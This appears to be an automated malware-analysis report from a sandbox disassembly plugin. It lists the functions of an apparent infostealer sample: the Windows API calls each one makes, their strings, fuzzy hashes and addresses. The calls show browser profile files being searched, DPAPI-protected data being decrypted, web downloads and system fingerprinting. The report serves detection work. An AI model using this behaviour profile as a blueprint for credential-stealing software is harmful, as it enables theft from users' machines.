Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Find$File$CloseFirstNextwsprintf
String ID: %s\%s$P2#v$1#v
API String ID: 180737720-1025293131
Opcode ID: e0733fba184414957b84623ac2ff11fb37c01327547932e1e3e5ae516d67a78e
Instruction ID: 0978cf4b12305aed0c6265f700eadee139911ff0226e3ee7039eca2cb0139609
Opcode Fuzzy Hash: e0733fba184414957b84623ac2ff11fb37c01327547932e1e3e5ae516d67a78e
Instruction Fuzzy Hash: EE5188B1900218ABCB24EF60DC45EEE777DBF44304F40858DB60996151EB749BC5CF98

Function 0040F4F0 Relevance: 19.5, APIs: 8, Strings: 3, Instructions: 275fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,0042155C,00420D7E), ref: 0040F55E
StrCmpCA.SHLWAPI(?,00421560), ref: 0040F5AF
StrCmpCA.SHLWAPI(?,00421564), ref: 0040F5C5
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040F8F1
FindClose.KERNEL32(000000FF), ref: 0040F903

Strings

1#v, xrefs: 0040F55E
prefs.js, xrefs: 0040F652
P2#v, xrefs: 0040F8F1

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: P2#v$prefs.js$1#v
API String ID: 3334442632-2885088814
Opcode ID: d3f22cb6985d2201e857ce3b604c74ca8ddf06a787430cbd7a848bc340e67d56
Instruction ID: 51e7ee45db09aa5f39b002a0c415dffe3bc9b22f3a493195af03bb486277efdd
Opcode Fuzzy Hash: d3f22cb6985d2201e857ce3b604c74ca8ddf06a787430cbd7a848bc340e67d56
Instruction Fuzzy Hash: 00B17571901108ABCB24FF61DC56FEE7379AF54314F0081BEA40A57191EF386B99CB9A

Function 0040D8C0 Relevance: 19.5, APIs: 9, Strings: 2, Instructions: 255fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00421454,00420B96), ref: 0040D92B
StrCmpCA.SHLWAPI(?,00421458), ref: 0040D973
StrCmpCA.SHLWAPI(?,0042145C), ref: 0040D989
FindNextFileA.KERNELBASE(000000FF,?), ref: 0040DC0C
FindClose.KERNEL32(000000FF), ref: 0040DC1E

Strings

1#v, xrefs: 0040D92B
P2#v, xrefs: 0040DC0C

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$Find$Filelstrcat$CloseFirstNextlstrlen
String ID: P2#v$1#v
API String ID: 3334442632-762677545
Opcode ID: c6eba386c8d7739a1fa8b96ae4cee9d924a5201b05d2867343646b982982c94b
Instruction ID: be130f63dcff9d07870f4f5a4cae658f80ac6a3b159c82c28f33fed987b29411
Opcode Fuzzy Hash: c6eba386c8d7739a1fa8b96ae4cee9d924a5201b05d2867343646b982982c94b
Instruction Fuzzy Hash: 23914672900204A7CB14FBB1DC56DED737DAF94354F00866EF80A66191EE389B5C8B9B

Function 00401710 Relevance: 18.0, APIs: 7, Strings: 3, Instructions: 492fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,00425004,?,00401F6C,?,004250AC,?,?,00000000,?,00000000), ref: 00401963
StrCmpCA.SHLWAPI(?,00425154), ref: 004019B3
StrCmpCA.SHLWAPI(?,004251FC), ref: 004019C9
CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 00401D80
DeleteFileA.KERNEL32(00000000), ref: 00401E0A
FindNextFileA.KERNEL32(000000FF,?), ref: 00401E60
FindClose.KERNEL32(000000FF), ref: 00401E72

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

Strings

\*.*, xrefs: 00401831
1#v, xrefs: 00401963
P2#v, xrefs: 00401E60

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Filelstrcpy$Find$lstrcat$CloseCopyDeleteFirstNextlstrlen
String ID: P2#v$\*.*$1#v
API String ID: 1415058207-2075649900
Opcode ID: e3e7a00d507c5a686b07f891d32b492613cb94bc3e70352f403bc48025ba8a20
Instruction ID: 16b9519e73a2a048c1aa4c2f75882a05a68b4b793ed3d445f0fb30e7c05d6763
Opcode Fuzzy Hash: e3e7a00d507c5a686b07f891d32b492613cb94bc3e70352f403bc48025ba8a20
Instruction Fuzzy Hash: 83123F71911118ABCB15FB61CC96EEE7338AF54314F4041AEB50B62091EF786BD8CF9A

Function 0040E270 Relevance: 14.5, APIs: 4, Strings: 4, Instructions: 514fileCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

Part of subcall function 0041A2F0: lstrcpy.KERNEL32(00000000,?), ref: 0041A342
Part of subcall function 0041A2F0: lstrcat.KERNEL32(00000000), ref: 0041A352

Part of subcall function 0041A380: lstrlenA.KERNEL32(?,004210E0,?,00000000,00420ADA), ref: 0041A395
Part of subcall function 0041A380: lstrcpy.KERNEL32(00000000), ref: 0041A3D4
Part of subcall function 0041A380: lstrcat.KERNEL32(00000000,00000000), ref: 0041A3E2

Part of subcall function 0041A270: lstrcpy.KERNEL32(?,00420ADA), ref: 0041A2D5

FindFirstFileA.KERNEL32(00000000,?,00000000,?,?,?,\*.*,00420C1F), ref: 0040E2E2
StrCmpCA.SHLWAPI(?,0042149C), ref: 0040E332
StrCmpCA.SHLWAPI(?,004214A0), ref: 0040E348
FindNextFileA.KERNEL32(000000FF,?), ref: 0040EA1F

Strings

.@, xrefs: 0040EA35, 0040E42B, 0040E55C, 0040E69B, 0040E2F9, 0040E42E, 0040E55F, 0040E69E
1#v, xrefs: 0040E2E2
\*.*, xrefs: 0040E28D
P2#v, xrefs: 0040EA1F

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: lstrcpy$FileFindlstrcat$FirstNextlstrlen
String ID: .@$P2#v$\*.*$1#v
API String ID: 433455689-4077462073
Opcode ID: 2c73111a52c0aa8f5a93a007cb1592271aff26c14f0af4420613aba39660b1dd
Instruction ID: 20f818950e8166c8af1a449285f1ab07a785d4baccce5c5ed3abadeee2d63442
Opcode Fuzzy Hash: 2c73111a52c0aa8f5a93a007cb1592271aff26c14f0af4420613aba39660b1dd
Instruction Fuzzy Hash: BE125331911118ABCB14FB61DC5AEED7338AF54314F4045AEB90B62091EF786FD8CB9A

Function 00405000 Relevance: 12.1, APIs: 8, Instructions: 82networkmemoryfileCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,05F5E0FF), ref: 0040501A
RtlAllocateHeap.NTDLL(00000000), ref: 00405021
InternetOpenA.WININET(00420DC7,00000000,00000000,00000000,00000000), ref: 0040503A
InternetOpenUrlA.WININET(?,00000000,00000000,00000000,04000100,00000000), ref: 00405061
InternetReadFile.WININET(004159BB,?,00000400,00000000), ref: 00405091
memcpy.MSVCRT ref: 004050DA
InternetCloseHandle.WININET(004159BB), ref: 00405109
InternetCloseHandle.WININET(?), ref: 00405116

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Internet$CloseHandleHeapOpen$AllocateFileProcessReadmemcpy
String ID:
API String ID: 1008454911-0
Opcode ID: f444c6f7ddd9144f10c727580b8ae5c860da4ae62cedfb23b3109a919a7fad71
Instruction ID: 839bf57ea29f75d8981f3e40a03c3eb3ba9ac3aa2e1ac21d7b315b502f3c448d
Opcode Fuzzy Hash: f444c6f7ddd9144f10c727580b8ae5c860da4ae62cedfb23b3109a919a7fad71
Instruction Fuzzy Hash: 1D31E9B4A00618ABDB20CF54DD85BDDB7B5EF48304F5081E9BA09A7281C7746AC68F99

Function 00417630 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 114memoryCOMMON

Download Yara Rule

APIs

Part of subcall function 0041A110: lstrcpy.KERNEL32(00420ADA,00000000), ref: 0041A158

GetKeyboardLayoutList.USER32(00000000,00000000,0042059F), ref: 00417681
LocalAlloc.KERNEL32(00000040,?), ref: 00417699
GetKeyboardLayoutList.USER32(?,00000000), ref: 004176AD
GetLocaleInfoA.KERNEL32(?,00000002,?,00000200), ref: 00417702
LocalFree.KERNEL32(00000000), ref: 004177C2

Strings

/ , xrefs: 0041771F

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: KeyboardLayoutListLocal$AllocFreeInfoLocalelstrcpy
String ID: /
API String ID: 3090951853-4001269591
Opcode ID: 6e5906619e98d4ad47cd61a06163630aa8c8f8e5491a3d82f811181143fa04bc
Instruction ID: c1db32f68e501b8527b0747275b78d72b64e7f1ab46943026d097e8974929a8d
Opcode Fuzzy Hash: 6e5906619e98d4ad47cd61a06163630aa8c8f8e5491a3d82f811181143fa04bc
Instruction Fuzzy Hash: 49418F71941118ABCB24DF94DC89FEEB374FB54314F2041DAE40A62191DB782F85CFA5

Function 004190A0 Relevance: 7.5, APIs: 5, Instructions: 42processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 004190BE
Process32First.KERNEL32(00420AB3,00000128), ref: 004190D2
Process32Next.KERNEL32(00420AB3,00000128), ref: 004190E7
StrCmpCA.SHLWAPI(?,00000000), ref: 004190FC
CloseHandle.KERNEL32(00420AB3), ref: 0041911A

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Process32$CloseCreateFirstHandleNextSnapshotToolhelp32
String ID:
API String ID: 420147892-0
Opcode ID: 53cc5b1a25e9de08871f2f161f83c20120fe0a383d746f94447c3d4f9de0246b
Instruction ID: 54ad55f7a4b81502d496241441e07260b80a378e6eebdd4a9cd1ea64267145a6
Opcode Fuzzy Hash: 53cc5b1a25e9de08871f2f161f83c20120fe0a383d746f94447c3d4f9de0246b
Instruction Fuzzy Hash: 1E010875A00208FBDB20DFA4CD99BEEBBF9AF08700F104199E909A7250DB749E85DF55

Function 00409BB0 Relevance: 6.0, APIs: 4, Instructions: 50memoryencryptionCOMMON

Download Yara Rule

APIs

CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000000,?), ref: 00409BD4
LocalAlloc.KERNEL32(00000040,00000000), ref: 00409BF3
memcpy.MSVCRT ref: 00409C16
LocalFree.KERNEL32(?), ref: 00409C23

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Local$AllocCryptDataFreeUnprotectmemcpy
String ID:
API String ID: 3243516280-0
Opcode ID: 7bf331572f1629f969e766ff9da9bf80e1d95d1acc3dba2254ec725ed3047747
Instruction ID: 89a0ba0d6d0461e137ce63e6e87bc55d2f461512d11096c1476870e855060961
Opcode Fuzzy Hash: 7bf331572f1629f969e766ff9da9bf80e1d95d1acc3dba2254ec725ed3047747
Instruction Fuzzy Hash: 7111E8B8A00209DFCB04DF94D984AAEB7B6FF88300F108569E915A7390D730AE51CF65

Function 004174D0 Relevance: 6.0, APIs: 4, Instructions: 49memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,00000000,00000000,?,0250A620,00000000,?,00420DE0,00000000,?,00000000,00000000), ref: 00417503
HeapAlloc.KERNEL32(00000000,?,?,?,00000000,00000000,?,0250A620,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041750A
GetTimeZoneInformation.KERNEL32(?,?,?,?,00000000,00000000,?,0250A620,00000000,?,00420DE0,00000000,?,00000000,00000000,?), ref: 0041751D
wsprintfA.USER32 ref: 00417557

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocInformationProcessTimeZonewsprintf
String ID:
API String ID: 362916592-0
Opcode ID: ebf191636fdab90f45f19ccd6af6600c11bec1d160f4b14778d2533b0a03f9df
Instruction ID: e353cc71a305f1a8f1a8746e49c408d3a80ec80c51124973b3d8e1cf6413b4f4
Opcode Fuzzy Hash: ebf191636fdab90f45f19ccd6af6600c11bec1d160f4b14778d2533b0a03f9df
Instruction Fuzzy Hash: 4111E1B1E05618EBEB20CF54DC45FA9B779FB00720F10039AF50A932D0C7785A85CB55

Function 004172F0 Relevance: 4.5, APIs: 3, Instructions: 36memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,004011B7), ref: 00417320
HeapAlloc.KERNEL32(00000000,?,?,?,004011B7), ref: 00417327
GetUserNameA.ADVAPI32(00000104,00000104), ref: 0041733F

Memory Dump Source

Source File: 00000000.00000002.2398151392.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2398151392.000000000043C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000046A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000493000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000049F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004C4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004D1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004F1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000004FD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000500000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.0000000000587000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005A7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.00000000005AD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2398151392.000000000063E000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_file.jbxd

Similarity

API ID: Heap$AllocNameProcessUser
String ID:
API String ID: 1206570057-0
